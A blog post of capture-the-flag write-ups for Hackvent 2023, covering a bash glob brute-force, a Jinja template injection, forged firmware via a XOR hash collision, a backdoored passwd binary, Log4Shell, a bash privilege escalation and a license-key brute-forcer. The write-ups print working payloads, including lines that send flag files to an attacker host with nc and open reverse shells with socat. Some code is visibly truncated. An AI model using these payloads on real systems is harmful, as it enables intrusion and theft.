Hackvent 2023

31. Dec 2023, by manu in posts

Here are some write-ups for the Hackvent 2023. This year, I managed to solve 16 challenges. I did not have as much time and more challenges involved cryptography, which is not my strong suit. Overall, the challenges were not as diverse as last year’s event. I still had fun and learned many things!

23.08 SantaLabs bask #

Level: Medium

Ditch flask and complicated python. With SantaLabs bask, you can write interactive websites using good, old bash and even template your files by using dynamic scripting!

This was indeed a web server written in bash. Inspecting the sources, I saw that the target was to access ‘/admin’. For this, I needed the admin_token cookie. This cookie gets set after sending a POST request to ‘/login’. In the file the body is compared to $ADMIN_PASSWORD. If there’s a match, the cookie gets set, and you will get redirected.

After a few rabbit holes, I noticed that shellcheck↗ in my editor was complaining about glob matching↗. This allows us to brute force the $ADMIN_PASSWORD character by character. Since the right side of the equation will be treated as a glob, submitting a* for example will result in a successful check if the password starts with an a.

import string
import requests
import re


def test_glob(glob: str) -> bool:
    while True:
        response ="{base}/login", data=glob)
        # the "web" server can be a unstable thus try until we get a good response
        if response.status_code != 200 or "</body>" not in response.text:
    # check if the glob was accepted
    return "Successfully" in response.text

def get_flag(password: str) -> str:
    cookies = {"admin_token":password}
    while True:
        response = requests.get(f"{base}/admin", cookies=cookies)
        # the "web" server can be a unstable thus try until we get a good response
        if response.status_code != 200 or "</body>" not in response.text:
    # parse the flag
    flag = re.findall(r"Your flag is: (.*)<", response.text)
    return flag[0]

guessed_password = ""
while True:
    for c in string.ascii_lowercase: # just a good guess to we only need to brute lowercase
        # assemble glob
        glob = f"password={guessed_password}{c}*"

        if test_glob(glob):
            # good guess
            print(f"[+] Found char {c}")
            guessed_password += c

            # try password
            print(f"[*] Trying password '{guessed_password}'")
            password = f"password={guessed_password}"
            if test_glob(password):
                # found password
                print(f"[+] Found password '{guessed_password}'")
                flag = get_flag(guessed_password)
                print(f"[+] Flag: '{flag}'")
            # try next char
            print("[-] Wrong password, moving to next char...")
$ python
[+] Found char s
[*] Trying password 's'
[-] Wrong password, moving to next char...
[+] Found char a
[*] Trying password 'sa'
[-] Wrong password, moving to next char...
[+] Found char l
[*] Trying password 'sal'
[-] Wrong password, moving to next char...
[+] Found char a
[*] Trying password 'sala'
[-] Wrong password, moving to next char...
[+] Found char m
[*] Trying password 'salam'
[-] Wrong password, moving to next char...
[+] Found char i
[*] Trying password 'salami'
[+] Found password 'salami'
[+] Flag: 'HV23{gl0bb1ng_1n_b45h_1s_fun}'

23.10 diy-jinja #

Level: Medium

We’ve heard you like to create your own forms. With SANTA (Secure and New Template Automation), you can upload your own jinja templates and have the convenience of HTML input fields to have your friends fill them out! Obviously 100% secure and even with anti-tampering protection!

In this (obvious) SSTI challenge, there was one caveat: Classic Jinja↗ objects were forbidden by the following check:

jinja_objects = re.findall(r"{{(.*?)}}", open(tmp_path).read())
for obj in jinja_objects:
	if not re.match(r"^[a-z ]+$", obj):
		# An oopsie whoopsie happened
		return Response(
			f"Upload failed for {tmp_path}. Injection detected.", status=400

Intended #

One way of playing around this is by using Jinja if statements. Those have the format {% %} and would not be caught by the regex.

Using a simple payload, this was an easy win:

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen'](' cat /app/flag.txt | nc MYIP 9001 ')['read']() == 'a' %} a {% endif %}
$ nc -lnvp 9001
Listening on 9001
Connection received on 45191

Unintended #

There’s a key error in the regex. It allows for newlines. Jinja does not care if the expression is on multiple lines.

# blocked

# allowed

23.13 Santa’s router #

Level: Medium

Santa came across a weird service that provides something with signatures of a firmware. He isn’t really comfortable with all that crypto stuff, can you help him with this?

Here, we have presented a Python app via a TCP socket. The goal is to get code execution via a malicious firmware update. The firmware is signed, and thus, a way to spoof the signature was needed. The signature is generated using the result from the hashFile function. I’m gonna explain this function by writing it a bit differently than in the challenge:

def hashFile(fileContent:bytes) -> int:
    hash = 0
    # For every block of 8 bytes
    for i in range(0, len(fileContent), 8):
        sum = 0
        # Reconstruct the 64bit int by shifting each value corresponding to its position
        # Essentially struct.unpack
        for j in range(8):
            if i+j < len(fileContent):
                shift_value = 8*j
                shifted = fileContent[i+j] << shift_value
                sum += shifted
        # XOR the previous hash with the 64bit int to get the new hash
        hash ^= sum
    return hash

The shifting is a DIY version of struct.unpack when using little-endian data. So, the 64-bit integer of each 8-byte block will get XORed with the XOR result from the block before. And exactly, there is our “hash collision”. Since XOR is reversible, we just need to find 8 bytes that, when XORed with our, gives out the same hash as the given Since a zip file does not care about “junk data” at the end, we can then just append those 8 bytes.

The following script will:

The loop is necessary as it’s possible our magic 8-byte block will not get processed as a whole. So we add padding until during one iteration, the hashFile function processes our 8 bytes as one, the last block.

from sys import argv

def hashFile(fileContent: bytes) -> int:
    hash = 0
    for i in range(0, len(fileContent), 8):
        hash ^= sum(
            [fileContent[i + j] << 8 * j for j in range(8) if i + j < len(fileContent)]
    return hash

# Convert the 64bit int back to bytes by right shifting
def unsum(int64: int) -> bytes:
    block = []
    for i in range(8):
        byte = (int64 >> (8 * i)) & 0xFF
    return bytes(block)

# Read both zip files and calculate their hashes
with open(argv[1], "rb") as file:
    original_firmware =
    original_hash = hashFile(original_firmware)
with open(argv[2], "rb") as file:
    payload_firmware =
    payload_hash = hashFile(payload_firmware)

padding = None

while True:
    # XOR is reversible so get the sum that would result in the correct hash
    # by XORing both zip hashes
    collision_int = original_hash ^ payload_hash
    collision_bytes = unsum(collision_int)
    print(f"[*] Reverse block\t {collision_bytes}")

    # Append those 8 bytes with some padding to our custom firmware
    payload = payload_firmware + padding + collision_bytes
    # Calculate the hash again and see if they match now
    payload_hash = hashFile(payload)
    print(f"[*] Original Hash\t {original_hash}")
    print(f"[*] Payload Hash\t {payload_hash}")
    if payload_hash == original_hash:
        padding += b"\xFF"

print(f"[+] Collision successful, saving as '{argv[3]}'")
with open(argv[3], "wb") as file:
$ cat

socat TCP: EXEC:sh

$ zip
updating: (stored 0%)

$ python
[*] Reverse block	 b'\x84\x92\x80`n\xc7\xa9\x0f'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 9156065650277442674
[*] Reverse block	 b'C;\x8f\xe4\xfcG\xc9a'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 9508345702306065717
[*] Reverse block	 b'\x04\xf2\xee\xa7\xc7\xc8-\x9d'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 4923420637316088061
[*] Reverse block	 b'\xcc\xdfs\xa35&\x8aZ'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 8210329457636346587
[*] Reverse block	 b'\xeaU)o\xeaU)o'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 11213921779552101262
[*] Reverse block	 b'\xbf|F\x85\xbf|F\x85'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 2601563316266296818
[*] Reverse block	 b'\xc3:\xc3:\xc3:\xc3:'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 16654416114755282632
[*] Reverse block	 b'\xf9\xf9\xf9\xf9\xf9\xf9\xf9\xf9'
[*] Original Hash	 2222991296195092273
[*] Payload Hash	 2222991296195092273
[+] Collision successful, saving as ''

$ base64 -w 0

$ nc 1337
Welcome to Santa's secure router

santa@router:~$ version

Version, Signature: CzvVmUr7tWN6Q3LCgOsQN14AbFWmhQbJZKu3BI6Bw2x8dUrelQDPPpQLNIKtaSTEZfZYLPuMayMdQPQq/yP/GZIwvH5UnIB14BGVvgjPdN483kKSSx71nVfmP5AjFtD8cnGiiDE1uruzS5ByCjl5IchQZbJAWK+hvMf8lz4NtSCTmuI3mSjbRR18yBNhpEXAXtvUysfFxt5zBGyg7Bekc19o93pfjm47QJOCwCLiNZZcnTckoovFCYC98DeIIeK1IDpgQ0Fer0c3s/pCO4p7HGJrUdJIhmQjEY7krclxw+USbwrHycNzr+gjsApW0QPG9MEAHSCv46s4AMKs5fMFrA==

santa@router:~$ update
Please provide a base64 encoded zip file:
Please provide a valide pkcs1_15 signature for the zip file:
 > CzvVmUr7tWN6Q3LCgOsQN14AbFWmhQbJZKu3BI6Bw2x8dUrelQDPPpQLNIKtaSTEZfZYLPuMayMdQPQq/yP/GZIwvH5UnIB14BGVvgjPdN483kKSSx71nVfmP5AjFtD8cnGiiDE1uruzS5ByCjl5IchQZbJAWK+hvMf8lz4NtSCTmuI3mSjbRR18yBNhpEXAXtvUysfFxt5zBGyg7Bekc19o93pfjm47QJOCwCLiNZZcnTckoovFCYC98DeIIeK1IDpgQ0Fer0c3s/pCO4p7HGJrUdJIhmQjEY7krclxw+USbwrHycNzr+gjsApW0QPG9MEAHSCv46s4AMKs5fMFrA==
$ nc -lnvp 9337
Listening on 9337
Connection received on 50700
cat flag

23.15 pREVesc #

Level: Hard

We recently changed the root password for santa as he always broke our system. However, I think he has hidden some backdoor in there. Please help us find it to save christmas!

We’re given SSH credentials onto a server. There, we don’t have much. The current user does not have sudo privileges, and there were no interesting SUID binaries. I took me at least 30min of looking around and running multiple scripts to find that the passwd binary was tampered with:

challenge@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:~$ ls -la /usr/bin
lrwxrwxrwx. 1 root root        23 Oct  5 21:27  pager -> /etc/alternatives/pager
-rwxr-xr-x. 1 root root     63880 Oct  5 21:27  partx
-rwsr-xr-x. 1 root root    132552 Dec 12 21:53  passwd
-rwxr-xr-x. 1 root root     35240 Jan 10  2023  paste
-rwxr-xr-x. 1 root root     35336 Jan 10  2023  pathchk

The reason this stood out was the build date. No other binaries have that build date. Upon executing it and changing my password, I did not notice anything strange. Given the title, it was reverse-engineering time.

I started with Ghidra↗. Since I had no real starting point, I scrolled through the decompiled main function. Somewhere after the middle strange code started appearing:

Ghidra of passwd

I was pretty sure this is not part of passwd. When reaching the switch case, the environment variable SALAMI is read. This is then used further down for some checks. If it’s empty, it errors here. When investigating the switch case, I found that a -E will lead you down this path.

challenge@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:~$ passwd -E
Why u givin' me no salami?!

So now we need to figure out what we should put in $SALAMI. A bit further down, we have our target:

  iVar5 = strcmp(pcVar8,(char *)local_108);
  if (iVar5 == 0) {
    puts("Enjoy your salami!");
    system("/bin/bash -p");

This strcmp is best viewed in gdb. Sadly, the binary had a different libc version than my system. I quickly made a Docker container to debug this file. The Ubuntu version was choosen based on the server I was connected to via SSH.

$ cat Dockerfile
FROM ubuntu:23.10

RUN apt update -y
RUN apt install git gdb python3 -y

RUN git clone /root/peda
RUN echo "source /root/peda/" >> /root/.gdbinit

RUN apt install libbsd0 libbsd-dev -y
COPY passwd /root/passwd

$ docker build -t prevesc .; docker run --rm -it prevesc bash
root@ab7c509ace69:~# export SALAMI="haecks"
root@ab7c509ace69:~# gdb --args ./passwd -E

In gdb, since this was located in main I viewed the addresses with:

b *main
disas main

In the terminal I then searched for setuid and quickly found what I was looking for:

gdb disas main

I then set a breakpoint at the strcmp and got my salami:

gdb strcmp

challenge@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:~$ SALAMI="" passwd -E
Enjoy your salami!
root@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:/home/challenge# ls /root
root@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:/home/challenge# cat /root/flag.txt

23.19 Santa’s Minecraft Server #

Level: Hard

Santa likes to play minecraft. His favorite version is 1.16. For security reasons, the server is not publicly accessible. But Santa is a little show-off, so he has an online map to brag about his fabulous building skills.

Given the old version, my first guess was Log4j. And indeed, this was correct. The website presents the Minecraft map of the server alongside a chat window. This chat window reflects the in-game chat and is the entry point for this box.

Stage 1 #

# Connected to the Hacking-Lab VPN
# Using
$ python3 --userip --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo:

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://}

[+] Starting Webserver on port 8000
Listening on
Send LDAP reference result for a redirecting to - - [21/Dec/2023 16:02:11] "GET /Exploit.class HTTP/1.1" 200 -

$ nc -lnvp 9001
Listening on 9001
Connection received on 51814
uid=101(server) gid=65534(nogroup) groups=65534(nogroup)
bash -i
bash: no job control in this shell

Stage 2 (intended) #

Quickly, the flag was found but inaccessible.

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ ls /home
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ ls /home/santa
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ cat /home/santa/flag.txt
cat: /home/santa/flag.txt: Permission denied

So I was looking for a privesc. On the disk, there was a special folder:

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ ls /
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ cd /santas-workshop
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/santas-workshop$ ls -la
total 24
drwxr-xr-x. 1 root  root    18 Dec 18 21:17 .
drwxr-xr-x. 1 root  root    28 Dec 21 14:58 ..
-rwsr-sr-x. 1 santa root 16752 Dec 18 21:17 tool
-rwxrwxrwx. 1 root  root   467 Dec 11 21:10 tool.c

This tool had the SUID bit set and was compiled from:

#include <unistd.h>
#include <stdio.h>

void debugShell() {
	printf("Launching debug shell...\n");
	char *argv[] = { "/bin/bash", 0 };
	execve(argv[0], &argv[0], NULL);

void main() {
	printf("--- Santas Workshop Tool ---\n");
	printf("Pick an action:\n");
	printf("s) debug shell\n");
	printf("-- more options to come\n");

	char option;
	scanf("%c", &option);

	switch (option) {
	case 's': debugShell(); break;
	default: printf("Unknonwn option!\n"); break;

The problem was that /bin/bash is not called with -p and thus loses the SUID bit. So executing tool does not result in a shell with the SUID bit. The intended solution was to discover that /bin/bash was version 4.2.25, making it vulnerable to CVE-2019-18276. Using↗ as a guide, this is really straightforward to exploit:

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cat pwn.c
#include <sys/types.h>
#include <unistd.h>
void __attribute__ ((constructor)) initLibrary(void){
    seteuid(1000); // The Saved UID that we want to recover

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ gcc -c -fPIC pwn.c -o pwn.o
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ gcc -shared -fPIC pwn.o -o

This exploit can then be run using:

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ /santas-workshop/tool
uid=101(server) gid=65534(nogroup) groups=65534(nogroup)
enable -f ./ asd
/bin/bash: line 2: enable: cannot find asd_struct in shared object ./ ./ undefined symbol: asd_struct
uid=101(server) gid=65534(nogroup) euid=1000(santa) groups=65534(nogroup)
cat /home/santa/flag.txt

Stage 2 (unintended) #

This was the way I did it. When the challenge author created this, he replaced /bin/bash with the old and vulnerable version. He made the mistake of leaving too many permissions on the file:

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ ls -la /bin/bash
-rwxrwxrwx. 1 root root 959120 Dec 10 19:58 /bin/bash

This means we can simply replace this with a bash script that also respects the SUID bit of the calling process by using -p:

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ echo -e '#!/bin/sh -p\ncat /home/santa/flag.txt' > notbash
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cat notbash
#!/bin/sh -p
cat /home/santa/flag.txt

server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cp /bin/bash /tmp/oldbash
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cp notbash /bin/bash
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ /santas-workshop/tool

23.20 Santa’s Candy Cane Machine #

Level: Hard

As Santa wanted to start producing Candy Canes for this years christmas season, his machine wouldn’t work anymore. All he got was some error message about an “expired license”. Santa tried to get support from the manufacturer. Unfortunately, the company is out of business since many years.One of the elves already tried his luck but all he got out of the machine was a .dll! Can you help Santa license his Candy Cane machine and make all those kids happy for this years christmas?

Upon opening the provided CandyCaneLicensing.dll in dnSpy↗, I was happy to see that it’s not obfuscated. There were clear function and variable names. But I wasn’t in the mood to spend hours on reversing this so I decided not to do this. But just before quitting, I saw the function CandyCaneLicense.Create(string). This returns a license which then can be used to call license.IsExpired(). This returns a boolean. With this, it’s possible to brute force a valid license key.

The key consists of chars from the charset ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 in the format XXXXX-XXXXX-XXXXX-XXXXX-XXXXX. Even if those are only uppercase letters, this is still gonna take a while. When opening the web server for the challenge, you are presented with an expired license key. Just to start brute-forcing somewhere, I took this expired key and made the super lucky guess to only brute the last five chars, the last block.

A (slightly mad) mcia↗, who solved this challenge by reversing it, later told me that only the first four digits of the last block matter for the date of the license. Thus my guess of brute-forcing the last five was just lucky.

After just a few seconds, I found a valid license key!

using CandyCaneLicensing;

char[] charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".ToCharArray();

if (args.Length > 0)
    string userKey = args[0];
    string baseKey = userKey.Substring(0, userKey.Length - 5);
    for (int a = 0; a < charset.Length; a++)
    for (int b = 0; b < charset.Length; b++)
    for (int c = 0; c < charset.Length; c++)
    for (int d = 0; d < charset.Length; d++)
    for (int e = 0; e < charset.Length; e++)
        string block = "" + charset[a] + charset[b] + charset[c] + charset[d] + charset[e];
        string key = baseKey + block;
        Console.Write("\r{0}", key);

        CandyCaneLicense license = CandyCaneLicense.Create(key)!;
        if (license != null)
            if (!license.IsExpired())
                Console.Write("\r{0}\n", key);
    Console.WriteLine("usage: candy.exe <license key>");
.\Candy.exe UCC9C-T4Y5N-2CCUV-PCEEL-7VC42

Flag of 23.20